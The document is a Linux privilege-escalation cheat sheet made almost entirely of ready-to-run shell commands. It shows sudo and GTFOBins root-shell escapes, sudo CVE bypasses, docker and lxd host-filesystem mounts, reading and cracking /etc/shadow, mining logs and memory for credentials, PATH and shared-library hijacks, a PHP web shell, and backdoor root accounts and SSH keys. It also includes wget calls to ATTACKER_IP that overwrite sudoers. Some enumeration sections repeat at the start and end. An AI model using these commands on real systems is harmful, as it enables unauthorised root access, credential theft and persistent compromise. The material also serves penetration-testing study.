id | tr ',' '\n' | grep -E "sudo|wheel|docker|lxd|lxc|disk|shadow|adm|staff|video|kmem|tape|uucp|dialout"

# ==========================================
# WHO HAS SUDO?
# ==========================================

grep -i "sudo\|wheel" /etc/group
cat /etc/sudoers 2>/dev/null
ls /etc/sudoers.d/ 2>/dev/null
sudo -l                         # What CAN you sudo?

# ==========================================
# ALL USERS AND THEIR GROUPS
# ==========================================

for user in $(cut -d: -f1 /etc/passwd); do
    echo "$user: $(id $user 2>/dev/null | grep -o 'groups=.*')";
done

# ==========================================
# PRIVILEGED GROUP CHECK SCRIPT
# ==========================================

INTERESTING="sudo wheel docker lxd lxc disk shadow adm staff video kmem tape uucp dialout pcap wireshark"
for grp in $INTERESTING; do
    members=$(getent group $grp 2>/dev/null | cut -d: -f4)
    [ -n "$members" ] && echo "[!] GROUP: $grp → MEMBERS: $members"
done

# ==========================================
# WHAT IT DOES
# ==========================================

# Members of 'sudo' (Debian/Ubuntu) or 'wheel' (RHEL/CentOS/Arch)
# can use sudo to run commands as root.
# If a user can run ANY command as root → full privesc!

# ==========================================
# CHECK YOUR SUDO PRIVILEGES
# ==========================================

sudo -l                         # List what you can run as sudo
sudo -l -U username             # Check another user's sudo (as root)

# Output examples:
# (ALL : ALL) ALL              → Can run EVERYTHING as root
# (ALL) NOPASSWD: ALL          → Root without password!
# (ALL) NOPASSWD: /bin/vim     → Only vim without password
# (root) /usr/bin/find         → Only find, needs password

# ==========================================
# FULL SUDO ACCESS
# ==========================================

sudo bash                       # Root shell
sudo su -                       # Root shell via su
sudo /bin/bash -p               # Preserved environment

# ==========================================
# RESTRICTED SUDO ABUSE — GTFOBins
# ==========================================

# If sudo is restricted to specific binaries → use GTFOBins!
# https://gtfobins.github.io/

# --- sudo vim ---
sudo vim -c ':!/bin/bash'
sudo vim -c ':py3 import os; os.execl("/bin/bash","bash","-p")'
sudo vim -c ':set shell=/bin/bash' -c ':shell'

# --- sudo nano ---
sudo nano
# In nano: Ctrl+R → Ctrl+X → reset; sh 1>&0 2>&0
# OR: Ctrl+T → bash (if CMD is allowed)

# --- sudo less / more ---
sudo less /etc/passwd
# Once in less: !bash

sudo more /etc/passwd
# Once in more: !bash

# --- sudo man ---
sudo man man
# Once in man: !bash

# --- sudo find ---
sudo find . -exec /bin/bash \; -quit
sudo find /etc/passwd -exec bash -p \;

# --- sudo python / python3 ---
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo python  -c 'import os; os.system("/bin/bash")'

# --- sudo perl ---
sudo perl -e 'exec "/bin/bash";'

# --- sudo ruby ---
sudo ruby -e 'exec "/bin/bash"'

# --- sudo awk ---
sudo awk 'BEGIN {system("/bin/bash")}'

# --- sudo nmap ---
sudo nmap --interactive          # Old nmap (< 5.x)
# prompt: !bash

sudo nmap --script=<(echo 'os.execute("/bin/bash")')   # New nmap

# --- sudo env ---
sudo env /bin/bash

# --- sudo cp ---
# Copy /bin/bash to /tmp and make SUID
sudo cp /bin/bash /tmp/rootbash
sudo chmod +s /tmp/rootbash
/tmp/rootbash -p

# --- sudo tar ---
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

# --- sudo zip ---
TF=$(mktemp -u); sudo zip $TF /etc/hosts -T -TT 'bash #'

# --- sudo curl ---
# Overwrite /etc/sudoers!
echo 'user ALL=(ALL) NOPASSWD:ALL' > /tmp/sudoers
sudo curl file:///tmp/sudoers -o /etc/sudoers

# --- sudo wget ---
sudo wget http://ATTACKER_IP/evil_sudoers -O /etc/sudoers

# --- sudo cat ---
# Read /etc/shadow!
sudo cat /etc/shadow

# --- sudo tee ---
echo 'user ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers

# --- sudo chmod / chown ---
sudo chmod +s /bin/bash         # Make bash SUID!
sudo chown user:user /etc/sudoers  # Take ownership of sudoers

# --- sudo systemctl ---
# Create a malicious service
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF
sudo systemctl link $TF
sudo systemctl enable --now $(basename $TF)
bash -p

# --- sudo passwd ---
sudo passwd root                # Change root password directly!

# ==========================================
# SUDO VERSION EXPLOIT
# ==========================================

sudo --version                  # Check version

# CVE-2021-3156 (Heap-Based BO in sudo) — Baron Samedit
# Affects sudo < 1.9.5p2
# Works without any sudo privileges!
sudoedit -s '\' $(python3 -c 'print("A"*65536)')
# → If crashes = vulnerable!

# CVE-2019-14287 (sudo -u#-1)
# sudo < 1.8.28 → bypass user restriction!
# If sudoers: user ALL=(ALL,!root) /bin/bash
sudo -u#-1 bash                 # Bypass! Still gets root!
sudo -u#4294967295 bash         # Same thing (unsigned -1)

# ==========================================
# WHY docker GROUP = ROOT
# ==========================================

# Docker daemon runs as root
# docker group members can talk to docker daemon
# → Can spawn privileged containers
# → Can mount host filesystem
# → Full root on host!

# ==========================================
# CHECK
# ==========================================

id | grep docker
getent group docker
docker ps                       # If this works → you're in docker group

# ==========================================
# EXPLOIT — Mount Host Filesystem
# ==========================================

# Method 1 — Alpine (small, fast)
docker run -v /:/mnt/host --rm -it alpine chroot /mnt/host /bin/bash
# → You are NOW root on the HOST filesystem!

# Method 2 — Use existing image
docker images                   # See available images
docker run -v /:/mnt/host --rm -it ubuntu chroot /mnt/host bash
docker run -v /:/mnt/host --rm -it debian:latest chroot /mnt/host bash

# Method 3 — Add your SSH key as root
docker run -v /root:/mnt/root --rm -it alpine sh -c \
    "echo 'ssh-rsa AAAA...' >> /mnt/root/.ssh/authorized_keys"

# Method 4 — Add user to sudoers
docker run -v /etc:/mnt/etc --rm -it alpine sh -c \
    "echo 'youruser ALL=(ALL) NOPASSWD:ALL' >> /mnt/etc/sudoers"

# Method 5 — Copy bash and make SUID
docker run -v /:/mnt/host --rm -it alpine sh -c \
    "cp /mnt/host/bin/bash /mnt/host/tmp/.bash && chmod +s /mnt/host/tmp/.bash"
# On host:
/tmp/.bash -p

# Method 6 — Create new root user
docker run -v /:/mnt/host --rm -it alpine chroot /mnt/host bash -c \
    "echo 'backdoor:x:0:0::/root:/bin/bash' >> /etc/passwd && \
     echo 'backdoor:\$6\$...<SHA512_HASH>:...' >> /etc/shadow"

# ==========================================
# PRIVILEGED CONTAINER BREAKOUT
# ==========================================

# If you're already INSIDE a container
docker run --privileged -it alpine
# Inside:
mkdir /mnt/host
mount /dev/sda1 /mnt/host       # Mount host root disk
chroot /mnt/host                # Chroot into host
# You're now on the host!

# ==========================================
# DOCKER SOCKET ABUSE (no docker group, but socket access)
# ==========================================

ls -la /var/run/docker.sock     # Is it readable?
# srw-rw---- 1 root docker → docker group needed
# srw-rw-rw- 1 root docker → world writable = no group needed!

# Use curl with docker socket
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json

# Create container via socket
curl -s --unix-socket /var/run/docker.sock -X POST \
    -H "Content-Type: application/json" \
    http://localhost/containers/create \
    -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/mnt/host"],"Privileged":true}'

# ==========================================
# CHECK
# ==========================================

id | grep lxd
id | grep lxc

# ==========================================
# EXPLOIT — Build Alpine Image and Mount Host
# ==========================================

# Step 1: On ATTACKER — Build the image
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
sudo bash build-alpine
# → Creates alpine-v3.x-x86_64-<date>.tar.gz

# Step 2: Transfer to TARGET
python3 -m http.server 8080
# On target:
wget http://ATTACKER_IP:8080/alpine-v3.x-x86_64-<date>.tar.gz

# Step 3: Import image
lxc image import alpine-v3.x-x86_64-<date>.tar.gz --alias alpine
lxc image list                          # Verify

# Step 4: Initialize LXD (first time only)
lxd init --auto 2>/dev/null || true

# Step 5: Create privileged container with host mount
lxc init alpine pwn -c security.privileged=true
lxc config device add pwn mydevice disk source=/ path=/mnt/root recursive=true
lxc start pwn
lxc exec pwn -- /bin/sh

# Step 6: Inside container — do damage
# You're root inside, and /mnt/root = entire host filesystem!
cd /mnt/root
chroot . /bin/bash                       # Full root shell on host!

# Quick method (one-liner)
lxc init alpine pwn -c security.privileged=true && \
lxc config device add pwn mydev disk source=/ path=/mnt/host recursive=true && \
lxc start pwn && \
lxc exec pwn -- chroot /mnt/host /bin/bash

# ==========================================
# ALTERNATIVE — No image build (use existing)
# ==========================================

lxc image list images: | grep -i alpine    # List remote images
lxc init images:alpine/3.16 privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/host recursive=true
lxc start privesc
lxc exec privesc -- /bin/sh

# Once in shell:
# /mnt/host/bin/bash → chroot /mnt/host → full host root!

# ==========================================
# WHY IT'S DANGEROUS
# ==========================================

# disk group members can read/write to raw disk devices (/dev/sdX)
# → Can read any file on disk (bypasses file permissions!)
# → Can read /etc/shadow, SSH keys, any file
# → Can write to disk directly (dangerous!)
# → No need for any FS-level permission

# ==========================================
# CHECK
# ==========================================

id | grep disk
ls -la /dev/sd*                 # View disk devices
df -h                           # Which device is root?

# ==========================================
# FIND ROOT DEVICE
# ==========================================

df -h /                         # Shows /dev/sda1 or similar
lsblk                           # Block device tree
fdisk -l 2>/dev/null            # Disk partitions

# ==========================================
# EXPLOIT — Read /etc/shadow with debugfs
# ==========================================

# debugfs = filesystem debugger (comes with e2fsprogs)
debugfs /dev/sda1               # Open root partition
# Inside debugfs:
debugfs: cat /etc/shadow        # Read shadow without root!
debugfs: cat /root/.ssh/id_rsa  # Steal root SSH key!
debugfs: dump /etc/shadow /tmp/shadow  # Dump to file

# One-liner:
debugfs -R 'cat /etc/shadow' /dev/sda1 2>/dev/null

# ==========================================
# READ ANY FILE
# ==========================================

# Find inode of target file
debugfs -R 'stat /etc/shadow' /dev/sda1 2>/dev/null

# Read file content
debugfs -R 'cat /etc/shadow' /dev/sda1 2>/dev/null
debugfs -R 'cat /root/.bash_history' /dev/sda1 2>/dev/null
debugfs -R 'cat /root/.ssh/id_rsa' /dev/sda1 2>/dev/null

# ==========================================
# ESCALATE — Modify /etc/sudoers via disk
# ==========================================

# DANGEROUS — Don't do on prod! (Can corrupt filesystem)
# Use echo + dd to write to raw disk
# → Safer: just read /etc/shadow → crack root hash → su root

# ==========================================
# CRACK SHADOW HASH
# ==========================================

# After dumping shadow:
debugfs -R 'cat /etc/shadow' /dev/sda1 2>/dev/null > /tmp/shadow_dump
cat /tmp/shadow_dump | grep root    # Get root hash
hashcat -m 1800 root_hash.txt /usr/share/wordlists/rockyou.txt   # SHA-512
su root                             # Use cracked password

# ==========================================
# WHY IT'S DANGEROUS
# ==========================================

# /etc/shadow is readable by root and shadow group
# Contains password hashes of ALL users
# → Get shadow → crack hashes → su/ssh as any user

# ==========================================
# CHECK
# ==========================================

id | grep shadow
ls -la /etc/shadow
# -rw-r----- 1 root shadow → shadow group can read it!

# ==========================================
# EXPLOIT
# ==========================================

# Read /etc/shadow directly!
cat /etc/shadow

# Copy for cracking
cat /etc/shadow > /tmp/shadow_copy

# Identify hash type from format:
# $1$  = MD5
# $2y$ = bcrypt
# $5$  = SHA-256
# $6$  = SHA-512 (most common)
# $y$  = yescrypt

# ==========================================
# CRACK WITH HASHCAT
# ==========================================

# SHA-512 (most common)
hashcat -m 1800 /tmp/shadow_copy /usr/share/wordlists/rockyou.txt

# SHA-256
hashcat -m 7400 /tmp/shadow_copy /usr/share/wordlists/rockyou.txt

# MD5
hashcat -m 500 /tmp/shadow_copy /usr/share/wordlists/rockyou.txt

# With rules (faster)
hashcat -m 1800 /tmp/shadow_copy /usr/share/wordlists/rockyou.txt \
    --rules-file /usr/share/hashcat/rules/best64.rule

# John the Ripper (auto-detects hash type)
john /tmp/shadow_copy --wordlist=/usr/share/wordlists/rockyou.txt
john /tmp/shadow_copy --show      # Show cracked passwords

# Combine passwd + shadow for john
unshadow /etc/passwd /etc/shadow > /tmp/unshadowed
john /tmp/unshadowed --wordlist=/usr/share/wordlists/rockyou.txt

# ==========================================
# AFTER CRACKING
# ==========================================

su root                           # If root hash cracked
su admin                          # Other user
ssh root@localhost                # If SSH enabled

# ==========================================
# WHAT adm GROUP CAN READ
# ==========================================

# adm group typically has read access to:
# /var/log/auth.log       → SSH logins, sudo, su attempts (CREDS!)
# /var/log/syslog         → System events
# /var/log/kern.log       → Kernel messages
# /var/log/apache2/       → Web server logs (URLs with passwords!)
# /var/log/nginx/         → Nginx logs
# /var/log/mail.log       → Mail logs
# /var/log/cron.log       → Cron job logs (may show commands!)
# /var/log/mysql/         → MySQL logs (queries with passwords!)

# ==========================================
# CHECK
# ==========================================

id | grep adm
ls -la /var/log/

# ==========================================
# FIND CREDENTIALS IN LOGS
# ==========================================

# SSH failed logins (usernames being tried)
cat /var/log/auth.log | grep "Failed password"
cat /var/log/auth.log | grep "Accepted password"   # Successful logins!

# sudo commands (what have privileged users been running?)
cat /var/log/auth.log | grep "sudo"
cat /var/log/auth.log | grep "COMMAND"             # Full sudo commands!

# su usage
cat /var/log/auth.log | grep "su:"

# Web logs — look for passwords in URLs (bad practice but common!)
cat /var/log/apache2/access.log | grep -i "pass\|password\|token\|secret\|key"
cat /var/log/nginx/access.log   | grep -i "pass\|password"

# MySQL logs
cat /var/log/mysql/mysql.log 2>/dev/null | grep -i "password\|pass\|user"

# Cron logs (shows commands run by root!)
cat /var/log/cron.log | grep -i "CMD"
cat /var/log/syslog   | grep -i "CRON"

# ==========================================
# MINE auth.log FOR PRIVESC LEADS
# ==========================================

# Find users that have sudo'd recently
grep "sudo" /var/log/auth.log | grep "COMMAND" | awk '{print $6, $13}'

# Find cleartext passwords (passed via command line)
grep -E "pass=|password=|passwd=" /var/log/auth.log
grep -E "pass=|password=|passwd=" /var/log/syslog

# Find internal service credentials
grep -r "password\|secret\|token\|api_key" /var/log/ 2>/dev/null

# ==========================================
# JOURNALD LOGS (systemd)
# ==========================================

journalctl                       # All systemd logs (if adm/systemd-journal)
journalctl -u sshd               # SSH service logs
journalctl -u cron               # Cron logs
journalctl --grep "password"     # Search for password in all logs
journalctl -xe                   # Recent errors with context

# ==========================================
# WHY IT'S DANGEROUS
# ==========================================

# video group has access to:
# /dev/fb0  → Framebuffer (raw pixel data of screen)
# /dev/video*  → Webcam/capture devices
# → Take screenshot of current display
# → See what root/admin is doing on screen!

# ==========================================
# CHECK
# ==========================================

id | grep video
ls -la /dev/fb*
ls -la /dev/video*

# ==========================================
# SCREENSHOT FRAMEBUFFER
# ==========================================

# Read raw framebuffer (screenshot of current screen!)
cat /dev/fb0 > /tmp/screen.raw

# Convert to PNG (need to know resolution and bit depth)
# Get framebuffer info
cat /sys/class/graphics/fb0/virtual_size    # e.g., 1920,1080
cat /sys/class/graphics/fb0/bits_per_pixel  # e.g., 32

# Convert with ffmpeg
WIDTH=$(cat /sys/class/graphics/fb0/virtual_size | cut -d, -f1)
HEIGHT=$(cat /sys/class/graphics/fb0/virtual_size | cut -d, -f2)
BPP=$(cat /sys/class/graphics/fb0/bits_per_pixel)

# BGRA format (common)
ffmpeg -vcodec rawvideo -f rawvideo -pix_fmt bgra \
    -s ${WIDTH}x${HEIGHT} -i /dev/fb0 /tmp/screen.png

# With convert (ImageMagick)
PIXEL_FORMAT="rgba"  # or bgra
convert -size ${WIDTH}x${HEIGHT} -depth 8 \
    ${PIXEL_FORMAT}:/dev/fb0 /tmp/screen.png

# ==========================================
# LOOK FOR SENSITIVE INFO ON SCREEN
# ==========================================

# Admin may be typing passwords, viewing /etc/shadow, etc.
# Continuous capture (every 5 seconds)
while true; do
    cat /dev/fb0 > /tmp/screen_$(date +%s).raw
    sleep 5
done

# ==========================================
# WHAT staff GROUP CAN DO
# ==========================================

# staff group has write access to:
# /usr/local/
# /usr/local/bin/
# /usr/local/lib/
# /usr/local/sbin/
# → Place malicious binaries/libraries in standard PATH locations!
# → When root or other users run programs → hijack them!

# ==========================================
# CHECK
# ==========================================

id | grep staff
ls -la /usr/local/bin/
ls -la /usr/local/lib/

# ==========================================
# EXPLOIT 1 — Binary Hijacking in PATH
# ==========================================

# /usr/local/bin is usually BEFORE /usr/bin in PATH!
echo $PATH
# /usr/local/sbin:/usr/local/bin:/usr/bin:/bin → local first!

# Create malicious binary with same name as commonly-run command
cat > /usr/local/bin/service << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
/usr/bin/service "$@"   # Pass through to real binary
EOF
chmod +x /usr/local/bin/service

# Wait for root/admin to run 'service' → /tmp/rootbash created with SUID
# Then: /tmp/rootbash -p → root shell!

# Common binaries to hijack (frequently run by root/scripts):
# service, python, python3, pip, pip3, gcc, make, curl, wget

# ==========================================
# EXPLOIT 2 — Shared Library Hijacking
# ==========================================

# Place malicious .so in /usr/local/lib/
# If target binary links libraries from there → code execution!

cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
void __attribute__((constructor)) init() {
    system("cp /bin/bash /tmp/.b && chmod +s /tmp/.b");
}
EOF
gcc -fPIC -shared -o /usr/local/lib/libservice.so /tmp/evil.c
ldconfig

# ==========================================
# EXPLOIT 3 — sudo PATH hijack
# ==========================================

# If admin runs: sudo service restart
# And PATH includes /usr/local/bin
# Your fake 'service' runs as root!

# Check if secure_path is set in sudoers
sudo -l | grep "env_keep\|secure_path"
# If no secure_path → PATH hijack works!

# ==========================================
# WHAT dialout GROUP DOES
# ==========================================

# dialout group has access to:
# /dev/ttyS*   → Serial ports
# /dev/ttyUSB* → USB serial adapters
# /dev/ttyACM* → USB ACM devices
# → Serial console to other machines
# → Talk to modems, routers, embedded devices
# → Potential pivoting through serial connections

# ==========================================
# CHECK
# ==========================================

id | grep dialout
id | grep uucp
ls -la /dev/ttyS*
ls -la /dev/ttyUSB*
ls -la /dev/ttyACM*

# ==========================================
# EXPLOIT — Serial Console Access
# ==========================================

# Connect to serial port (may be another machine's console!)
screen /dev/ttyS0 9600           # 9600 baud (common default)
screen /dev/ttyUSB0 115200       # 115200 baud (Raspberry Pi etc.)
minicom -s                       # Configure and connect
picocom /dev/ttyS0 -b 9600       # Lightweight serial client

# Try common baud rates if you don't know
for baud in 9600 19200 38400 57600 115200 230400; do
    echo "Trying $baud..."
    screen /dev/ttyS0 $baud &
    sleep 2
    kill %1 2>/dev/null
done

# Once connected to a console:
# → May drop into unauthenticated root shell (embedded devices!)
# → May be a network device (router, switch)
# → May be a server's physical console

# ==========================================
# CHECK
# ==========================================

id | grep systemd-journal
ls -la /var/log/journal/
ls -la /run/log/journal/

# ==========================================
# EXPLOIT — Mine Logs for Credentials
# ==========================================

# Read ALL journal logs (requires systemd-journal group)
journalctl                               # Entire journal
journalctl --no-pager                    # Without pagination

# Find credentials in logs
journalctl | grep -iE "password|passwd|secret|token|key|cred"
journalctl -u sshd | grep "Accepted"    # Successful SSH logins
journalctl -u sudo | grep "COMMAND"     # Root commands run via sudo

# Find service start args (may include passwords!)
journalctl -u mysql | grep -i "password"
journalctl -u postgresql | grep -i "password"

# Look for cleartext credentials in startup logs
journalctl -b | grep -iE "pass=|password=|secret=|key="

# Boot logs (kernel + all service starts)
journalctl -b 0                          # Current boot
journalctl -b -1                         # Previous boot

# Recent activity (last hour)
journalctl --since "1 hour ago"

# ==========================================
# WHAT kmem GROUP DOES
# ==========================================

# kmem group has read access to:
# /dev/kmem → Kernel virtual memory (legacy)
# /dev/mem  → Physical memory
# → Read kernel data structures
# → Extract encryption keys from kernel
# → Bypass kernel address space randomization (KASLR)

# ==========================================
# CHECK
# ==========================================

id | grep kmem
ls -la /dev/kmem /dev/mem 2>/dev/null

# ==========================================
# EXPLOIT CONCEPT
# ==========================================

# Read physical memory (look for cleartext passwords, keys)
strings /dev/mem 2>/dev/null | grep -iE "password|secret|key" | head -50

# Use dd to read specific memory ranges
dd if=/dev/mem of=/tmp/memdump bs=1M count=10 2>/dev/null

# Search for credentials in memory dump
strings /tmp/memdump | grep -iE "password|passwd|secret"

# Advanced: use volatility-style analysis for kernel structures
# (Primarily used for post-exploitation forensics bypasses)

# ==========================================
# CHECK
# ==========================================

id | grep tape
ls -la /dev/st*          # SCSI tape devices
ls -la /dev/nst*         # Non-rewinding SCSI tape

# ==========================================
# EXPLOIT
# ==========================================

# If backups are stored on tape → read entire backup!
# Backups often contain /etc/shadow, SSH keys, databases!

# Read tape contents
mt -f /dev/st0 status           # Check tape status
mt -f /dev/st0 rewind           # Rewind to start
dd if=/dev/st0 of=/tmp/tape_dump bs=64k    # Dump tape to file

# If tar backup on tape
mt -f /dev/st0 rewind
tar -xvf /dev/st0 -C /tmp/      # Extract backup!
# → May contain /etc/shadow, private keys, config files!

# List files on tape
mt -f /dev/st0 rewind
tar -tvf /dev/st0               # List without extracting

# ==========================================
# IF YOUR PRIMARY GROUP IS root (GID=0)
# ==========================================

# Not the same as being root user!
# But GID 0 group can read files owned by root group

# Check primary group
id
# uid=1001(user) gid=0(root) groups=...  ← GID 0!

# Find files writable by root group
find / -group root -perm -g=w -type f 2>/dev/null

# Common files accessible:
ls -la /etc/passwd    # root:root, 644 → readable by all
ls -la /etc/crontab   # May be root group writable!

# Find root-group writable files (potential hijack!)
find / -group root -writable -type f 2>/dev/null

# ==========================================
# CHECK
# ==========================================

id | grep -E "pcap|wireshark"
ls -la /usr/bin/dumpcap
ls -la /usr/bin/tcpdump

# ==========================================
# EXPLOIT — Sniff Network for Credentials
# ==========================================

# Capture all traffic on interface
tcpdump -i eth0 -w /tmp/capture.pcap

# Capture specific protocols
tcpdump -i eth0 port 21 -w /tmp/ftp.pcap      # FTP (cleartext creds!)
tcpdump -i eth0 port 23 -w /tmp/telnet.pcap   # Telnet (cleartext!)
tcpdump -i eth0 port 80 -w /tmp/http.pcap     # HTTP (may have POST creds)
tcpdump -i eth0 port 110 -w /tmp/pop3.pcap    # POP3 mail
tcpdump -i eth0 port 143 -w /tmp/imap.pcap    # IMAP mail
tcpdump -i eth0 port 389 -w /tmp/ldap.pcap    # LDAP (AD authentication!)

# Sniff localhost (internal service creds!)
tcpdump -i lo -w /tmp/localhost.pcap

# Sniff and extract strings
tcpdump -i eth0 -A -s 0 | grep -iE "pass|user|login|auth"

# dumpcap (wireshark group)
dumpcap -i eth0 -w /tmp/capture.pcap

# tshark (wireshark CLI)
tshark -i eth0 -Y "ftp || http || ldap" -T fields \
    -e ip.src -e ip.dst -e http.request.method \
    -e http.file_data

# ==========================================
# READ EXISTING PCAP FILES
# ==========================================

find / -name "*.pcap" -o -name "*.cap" 2>/dev/null

# Extract credentials from pcap
tshark -r /tmp/capture.pcap -Y "ftp" -T fields -e ftp.request.command -e ftp.request.arg
tshark -r /tmp/capture.pcap -Y "http.request.method==POST"
# Look for login forms, basic auth headers, etc.

# Use network-miner / pwncat for automated cred extraction

# ==========================================
# fail2ban GROUP
# ==========================================

# fail2ban group can write/modify fail2ban action configs
# → Inject commands into fail2ban actions (run as root!)

id | grep fail2ban
ls -la /etc/fail2ban/action.d/

# Exploit: modify an action file to execute code when triggered
cat /etc/fail2ban/action.d/iptables.conf | grep "actionban"

# Inject into actionban (runs as root when a ban is triggered!)
# Then trigger a ban by failing SSH login multiple times from attacker
nano /etc/fail2ban/action.d/iptables.conf
# Change actionban line to include your payload:
# actionban = iptables -I f2b-<name> 1 -s <ip> -j DROP; cp /bin/bash /tmp/b; chmod +s /tmp/b

# ==========================================
# logrotate GROUP
# ==========================================

# If logrotate config is writable → write to files during rotation!
id | grep logrotate
ls -la /etc/logrotate.conf
ls -la /etc/logrotate.d/

# Exploit: add postrotate script to execute as root
# Requires writable logrotate config AND logrotate runs as root (via cron)

# Find writable logrotate configs
find /etc/logrotate.d/ -writable 2>/dev/null

# Add malicious postrotate to writable config:
echo 'postrotate
    /bin/bash -c "chmod +s /bin/bash"
endscript' >> /etc/logrotate.d/nginx

# ==========================================
# CHECK
# ==========================================

id | grep www-data
ls -la /var/www/html/
ls -la /etc/apache2/ /etc/nginx/

# ==========================================
# EXPLOIT — Write Web Shell
# ==========================================

# If web root is writable by www-data group
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php

# Access: http://target.com/shell.php?cmd=id

# ==========================================
# FIND CREDENTIALS IN WEB CONFIG FILES
# ==========================================

# WordPress config (database passwords!)
cat /var/www/html/wp-config.php | grep -E "DB_USER|DB_PASSWORD|DB_HOST"

# Laravel .env
cat /var/www/html/.env | grep -E "DB_|MAIL_|APP_KEY"

# Symfony config
cat /var/www/html/app/config/parameters.yml

# Django settings
cat /var/www/html/settings.py | grep -E "PASSWORD|SECRET|KEY"

# Generic search
grep -r "password\|passwd\|secret\|key\|token" /var/www/ 2>/dev/null | \
    grep -v ".js\|.css\|.min" | head -50

# ==========================================
# SCENARIO 1 — User in Multiple Dangerous Groups
# ==========================================

# If you're in docker + sudo (less common but devastating):
# → docker = instant root anyway, sudo overkill

# Most impactful combinations:
# shadow + adm → Read hashes + read logs → crack root hash
# adm + www-data → Read logs for DB creds + write web shell
# disk + shadow → Two independent paths to hashes

# ==========================================
# SCENARIO 2 — Newgrp (Switch Active Group)
# ==========================================

# If you're a member of a group but it's not your active group:
newgrp docker           # Switch active group to docker
newgrp shadow           # Switch active group to shadow
# This doesn't require password if you're already a member!

# Verify switch
id                      # Confirm gid is now docker/shadow

# ==========================================
# SCENARIO 3 — Add Yourself to a Group (as root)
# ==========================================

# If you already got root → add user to all dangerous groups!
usermod -aG docker,sudo,shadow,adm,disk,lxd youruser

# ==========================================
# SCENARIO 4 — ACL (Access Control Lists)
# ==========================================

# Sometimes file access is via ACL not standard groups
getfacl /etc/shadow     # Check ACL on shadow
getfacl /var/log/auth.log

# Find files with ACLs
find / -type f -acl 2>/dev/null | head -20
getfacl -R /var/www/ 2>/dev/null | grep "user:youruser"

# ==========================================
# SCENARIO 5 — Group Writable Critical Files
# ==========================================

# Find group-writable sensitive files
find /etc -writable -type f 2>/dev/null        # Writable /etc files
find /etc -group yourgroup -writable 2>/dev/null

# Critical group-writable files → instant privesc:
# /etc/passwd (write → add root user!)
# /etc/sudoers (write → add sudo rule!)
# /etc/crontab (write → add root cron job!)
# /etc/cron.d/* (write → add root cron job!)
# /etc/ssh/sshd_config (write → enable root login!)

# ==========================================
# LINPEAS (Best All-Around)
# ==========================================

# Download
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

# Run
chmod +x linpeas.sh
./linpeas.sh 2>/dev/null

# Pipe to less with color
./linpeas.sh 2>/dev/null | less -R

# Save output
./linpeas.sh 2>/dev/null | tee linpeas_output.txt

# linpeas HIGHLIGHTS groups section:
# → [+] Interesting Groups - Members
# → [+] My user
# → [+] Sudo version

# ==========================================
# LSE (Linux Smart Enumeration)
# ==========================================

wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
chmod +x lse.sh

./lse.sh           # Level 0 (quick check)
./lse.sh -l 1      # Level 1 (more info)
./lse.sh -l 2      # Level 2 (everything)

# ==========================================
# LINENUM
# ==========================================

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

# Thorough mode + keyword search
./LinEnum.sh -t -k password

# ==========================================
# PSPY (Process Spy — no root needed!)
# ==========================================

# See what processes root is running (find cron commands, scripts)
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64
chmod +x pspy64
./pspy64

# Wait and watch — you'll see every command root runs!
# Look for:
# → Cron jobs (commands with root UID=0)
# → Scripts that run with root privilege
# → Passwords passed as command-line arguments!

# ==========================================
# MANUAL GROUP CHECK ONE-LINER
# ==========================================

echo "=== CURRENT USER ===" && id && \
echo "=== INTERESTING GROUPS ===" && \
for g in sudo wheel docker lxd lxc disk shadow adm staff video kmem tape uucp dialout pcap wireshark fail2ban; do
    getent group $g 2>/dev/null && echo "  ↑ YOU MAY BE IN THIS!"
done && \
echo "=== YOUR SUDO RIGHTS ===" && sudo -l 2>/dev/null

# ==========================================
# YOUR OWN GROUPS
# ==========================================

id                              # Full ID info — uid, gid, all groups
whoami                          # Current username
groups                          # All groups current user belongs to
id username                     # Groups for specific user

# ==========================================
# ALL GROUPS ON SYSTEM
# ==========================================

cat /etc/group                  # All groups + members
cat /etc/group | cut -d: -f1    # Just group names
getent group                    # Same but via NSS (includes LDAP/AD groups)

# ==========================================
# FIND ALL USERS IN A SPECIFIC GROUP
# ==========================================

getent group docker             # Who is in docker group?
getent group sudo               # Who is in sudo?
getent group lxd

# ==========================================
# INTERESTING GROUPS TO LOOK FOR
# ==========================================

# Run this as soon as you get a shell!
id
# Look for ANY of these group names → INSTANT privesc:
# sudo, wheel, docker, lxd, lxc, disk, shadow, adm,
# staff, video, kmem, tape, uucp, dialout, pcap, wireshark

# Check if you're in ANY interesting group
id | tr ',' '\n' | grep -E "sudo|wheel|docker|lxd|lxc|disk|shadow|adm|staff|video|kmem|tape|uucp|dialout"

# ==========================================
# WHO HAS SUDO?
# ==========================================

grep -i "sudo\|wheel" /etc/group
cat /etc/sudoers 2>/dev/null
ls /etc/sudoers.d/ 2>/dev/null
sudo -l                         # What CAN you sudo?

# ==========================================
# ALL USERS AND THEIR GROUPS
# ==========================================

for user in $(cut -d: -f1 /etc/passwd); do
    echo "$user: $(id $user 2>/dev/null | grep -o 'groups=.*')";
done

# ==========================================
# PRIVILEGED GROUP CHECK SCRIPT
# ==========================================

INTERESTING="sudo wheel docker lxd lxc disk shadow adm staff video kmem tape uucp dialout pcap wireshark"
for grp in $INTERESTING; do
    members=$(getent group $grp 2>/dev/null | cut -d: -f4)
    [ -n "$members" ] && echo "[!] GROUP: $grp → MEMBERS: $members"
done

# ==========================================
# WHAT IT DOES
# ==========================================

